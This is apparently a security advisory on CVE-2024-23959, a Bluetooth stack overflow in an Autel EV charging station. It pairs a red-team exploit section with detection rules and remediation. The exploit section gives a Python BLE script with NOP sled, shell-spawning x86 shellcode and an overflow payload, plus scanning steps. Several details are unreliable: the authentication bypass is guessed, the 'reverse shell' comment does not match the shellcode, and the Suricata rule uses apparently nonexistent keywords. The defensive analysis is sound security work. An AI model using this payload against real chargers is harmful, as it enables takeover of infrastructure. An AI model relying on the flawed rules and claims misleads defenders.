CVE-2024-23959

Executive Summary

CVE-2024-23959 is a critical stack-based buffer overflow vulnerability in the Autel MaxiCharger AC Elite Business C50 electric vehicle (EV) charging station. The flaw resides in the handling of the AppChargingControl BLE command, allowing a network-adjacent attacker with low privileges to bypass authentication and execute arbitrary code on the device. With a CVSS score of 8.0, this vulnerability poses a significant risk to EV charging infrastructure, potentially enabling attackers to disrupt operations, manipulate charging sessions, or pivot to other network assets. No public exploit code or patch is currently available, but the technical details from ZDI (ZDI-CAN-23194) provide a clear path for exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – Requires BLE proximity.
• Attack Complexity (AC): Low (AC:L) – No special conditions needed.
• Privileges Required (PR): Low (PR:L) – Authentication bypass reduces requirement.
• User Interaction (UI): None (UI:N) – No user action needed.
• Scope (S): Unchanged (S:U) – Exploit stays within the device.
• Confidentiality (C): High (C:H) – Full device compromise.
• Integrity (I): High (I:H) – Arbitrary code execution.
• Availability (A): High (A:H) – Potential denial of service.

Threat Level: Critical. The combination of low attack complexity, no user interaction, and high impact makes this a prime target for threat actors targeting EV infrastructure.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the BLE command handler for AppChargingControl. The device uses a fixed-length stack buffer to process user-supplied data from BLE packets. The code fails to validate the length of the incoming data before copying it via a function like memcpy or strcpy, leading to stack corruption.

Authentication Bypass: The existing authentication mechanism can be bypassed, likely due to a separate flaw (e.g., hardcoded credentials, weak session management, or a race condition). This allows an unauthenticated attacker to send the malicious BLE command.

Exploitation Flow:

1. Attacker discovers the BLE service UUID for the charging station.
2. Attacker sends a crafted AppChargingControl command with a payload exceeding the buffer size.
3. The overflow overwrites the return address and other stack data.
4. Control is redirected to attacker-controlled shellcode, achieving RCE.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable pattern:

Vulnerable (pseudo-code):

void handleAppChargingControl(BLEPacket *pkt) {
    char buffer[64];
    // No length check
    memcpy(buffer, pkt->data, pkt->length);
    // Process buffer...
}

Patched (expected):

void handleAppChargingControl(BLEPacket *pkt) {
    char buffer[64];
    if (pkt->length > sizeof(buffer) - 1) {
        // Reject oversized packet
        return;
    }
    memcpy(buffer, pkt->data, pkt->length);
    buffer[pkt->length] = '\0';
    // Process buffer...
}

The fix requires proper bounds checking and input validation before any copy operation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• BLE-capable device (e.g., Raspberry Pi with Bluetooth dongle, or smartphone with BLE app).
• Knowledge of the target BLE service UUID (e.g., 0000ffe0-0000-1000-8000-00805f9b34fb).
• Python with bluepy or pygatt library.

Exploit Script (Conceptual):

import struct
import time
from bluepy.btle import Peripheral, UUID

TARGET_ADDR = "XX:XX:XX:XX:XX:XX"
SERVICE_UUID = UUID("0000ffe0-0000-1000-8000-00805f9b34fb")
CHAR_UUID = UUID("0000ffe1-0000-1000-8000-00805f9b34fb")

# Shellcode to execute (e.g., reverse shell)
shellcode = b"\x90" * 100  # NOP sled
shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Overflow payload: fill buffer + overwrite return address
buffer_size = 64
payload = b"A" * buffer_size
payload += struct.pack("<I", 0x41424344)  # Overwritten return address (example)
payload += shellcode

try:
    peripheral = Peripheral(TARGET_ADDR, "random")
    service = peripheral.getServiceByUUID(SERVICE_UUID)
    char = service.getCharacteristics(CHAR_UUID)[0]
    char.write(payload, withResponse=True)
    print("Payload sent!")
except Exception as e:
    print(f"Error: {e}")
finally:
    peripheral.disconnect()

Steps:

1. Scan for BLE devices: sudo hcitool lescan
2. Connect to the target.
3. Send the crafted AppChargingControl command.
4. Observe shellcode execution (e.g., reverse shell callback).

Blue Team (Defense)

Detection:

• Monitor BLE traffic for unusually large packets on the AppChargingControl characteristic.
• Use BLE sniffer (e.g., Wireshark with BLE dongle) to capture anomalous write operations.
• Implement host-based IDS on the charger to detect stack canary corruption or abnormal control flow.

Mitigation:

• Isolate EV chargers on a separate VLAN with strict BLE access controls.
• Disable BLE if not required for operations.
• Apply firmware updates as soon as available.

Indicators of Compromise (IOCs)

• Network: BLE packets with AppChargingControl characteristic write operations exceeding 64 bytes.
• Host: Unexpected processes or shell sessions on the charger (if accessible via debug interface).
• Memory: Stack corruption patterns (e.g., repeated 0x41 bytes in crash dumps).
• Firmware: Modified firmware binaries with shellcode injection.

Detection Engineering

YARA Rule

rule CVE_2024_23959_BLE_Overflow {
    meta:
        description = "Detects BLE packets targeting Autel MaxiCharger AppChargingControl with oversized payload"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-23959"
    strings:
        $ble_service = { FF E0 }  // BLE service UUID bytes (example)
        $overflow_pattern = { 41 41 41 41 }  // Repeated 'A' indicating buffer fill
    condition:
        $ble_service and #overflow_pattern > 10
}

Sigma Rule

title: CVE-2024-23959 BLE Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects oversized BLE write operations to Autel MaxiCharger AppChargingControl characteristic
author: Valters IT
logsource:
    product: network
    service: bluetooth
detection:
    selection:
        characteristic_uuid: "0000ffe1-0000-1000-8000-00805f9b34fb"
        write_length: >64
    condition: selection
falsepositives:
    - Legitimate firmware updates (rare)
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2024-23959 BLE Buffer Overflow Attempt"; bluetooth.service_uuid:0xffe0; bluetooth.characteristic_uuid:0xffe1; bluetooth.write_length:>64; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BLE on the charger if not required for business operations.
2. Segment network – Place EV chargers on an isolated VLAN with strict firewall rules.
3. Monitor BLE traffic for anomalous patterns using the detection rules above.

Long-term Fix:

• Await official firmware patch from Autel. Contact Autel support for ETA.
• Implement input validation in the BLE command handler (as shown in patched code).
• Consider replacing vulnerable hardware if no patch is released.

Workaround:

• Use physical access controls (e.g., locked enclosures) to prevent BLE proximity attacks.
• Implement application-layer authentication for all BLE commands.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.